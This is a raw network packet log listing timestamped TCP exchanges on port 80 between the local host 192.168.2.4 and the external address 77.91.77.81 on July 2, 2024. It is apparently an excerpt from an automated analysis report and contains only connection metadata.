Jul 2, 2024 15:26:15.305011034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.305062056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.335829020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.335880995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.335892916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.335896015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.335926056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.335935116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336085081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336097956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336117029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336127996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336137056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336183071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336623907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336637020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336654902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336667061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336675882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336678982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336697102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336707115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.336711884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336746931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.336771011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.337565899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337579012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337595940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337606907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337618113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.337626934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337641001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.337658882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.337685108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364053011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364070892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364094019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364135981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364145041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364150047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364166975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364177942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364209890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364228010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364500999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364516973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364536047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364547014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364556074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364581108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.364973068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.364984035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.365000963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.365029097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.365048885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.370187998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370259047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.370273113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370289087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370302916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.370321035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.370548964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370563030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370582104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370594025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.370603085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.370644093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371023893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371035099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371051073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371068001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371078014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371104002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371593952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371607065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371624947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371635914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371651888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371670008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371681929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371695042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.371794939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371794939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371794939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.371794939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.372477055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372499943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372512102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372534990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372540951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.372548103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372565031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372574091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372575045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.372591972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.372607946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.372627020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.373512030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373524904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373539925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373553991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373559952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.373570919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373578072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.373581886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373595953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373610020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.373615026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.373636961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.373655081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.374449968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374463081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374476910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374491930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374504089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374515057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.374519110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374533892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374543905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.374548912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.374572992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.374586105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.375408888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375422955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375437021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375453949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375463963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375478983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.375482082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375492096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375509977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375514984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.375520945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.375536919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.375557899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.376410961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376422882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376441956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376451969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376456976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.376468897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376492977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376503944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376507044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.376513958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.376521111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.376552105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.376575947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.377315044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.377329111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.377345085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.377356052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.377371073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.377403021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.396852970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.396903992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.396919012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.396958113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.396996975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.397176027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397187948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397207975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397218943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397221088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.397254944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.397751093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397763014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397780895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.397806883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.397840977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.398025036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.398036003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.398053885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.398063898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.398081064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.398111105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427289009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427350998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427381039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427392960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427422047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427445889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427628994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427643061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427660942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427670956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427675009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427690983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.427694082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.427740097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428123951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428136110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428150892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428172112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428188086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428191900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428221941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428231001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428662062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428678989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428690910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428709030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428725958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428884983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428913116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428930998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.428931952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428952932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.428961992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.429230928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.429243088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.429260969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.429281950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.429282904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.429297924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.429311991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.429341078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.456382036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456435919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.456639051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456649065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456667900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456681013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456693888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.456696033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.456748009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.457027912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457039118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457062006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457072020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457078934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.457108974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.457537889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457549095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457568884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457581043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.457593918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.457623005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.462801933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.462857008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.462857962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.462886095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.462893009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.462940931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463093996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463108063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463124990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463151932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463181019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463403940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463418961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463430882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463464975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463495970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463769913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463781118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463799953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463810921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463814020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463829994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463831902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463848114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.463852882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.463881016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.464524984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464535952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464557886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464571953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464574099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464581013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.464591026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464607954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464617968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464632034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.464634895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.464651108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.464675903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465399981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465415001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465430975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465441942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465450048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465466022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465468884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465478897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465497017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465502977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465516090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465523958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465531111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.465557098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.465581894 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.466314077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466329098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466342926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466356993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.466372013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466384888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.466391087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466403008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466413021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.466423988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466434002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.466447115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.466475964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.467353106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467365026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467382908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467394114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467398882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467403889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.467405081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467420101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467436075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.467456102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.467472076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.468317986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468329906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468348980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468362093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468374014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.468377113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468393087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468405008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468415976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.468421936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.468436003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.468465090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.469291925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469305992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469324112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469336987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469342947 CEST	49731	80	192.168.2.4	77.91.77.81
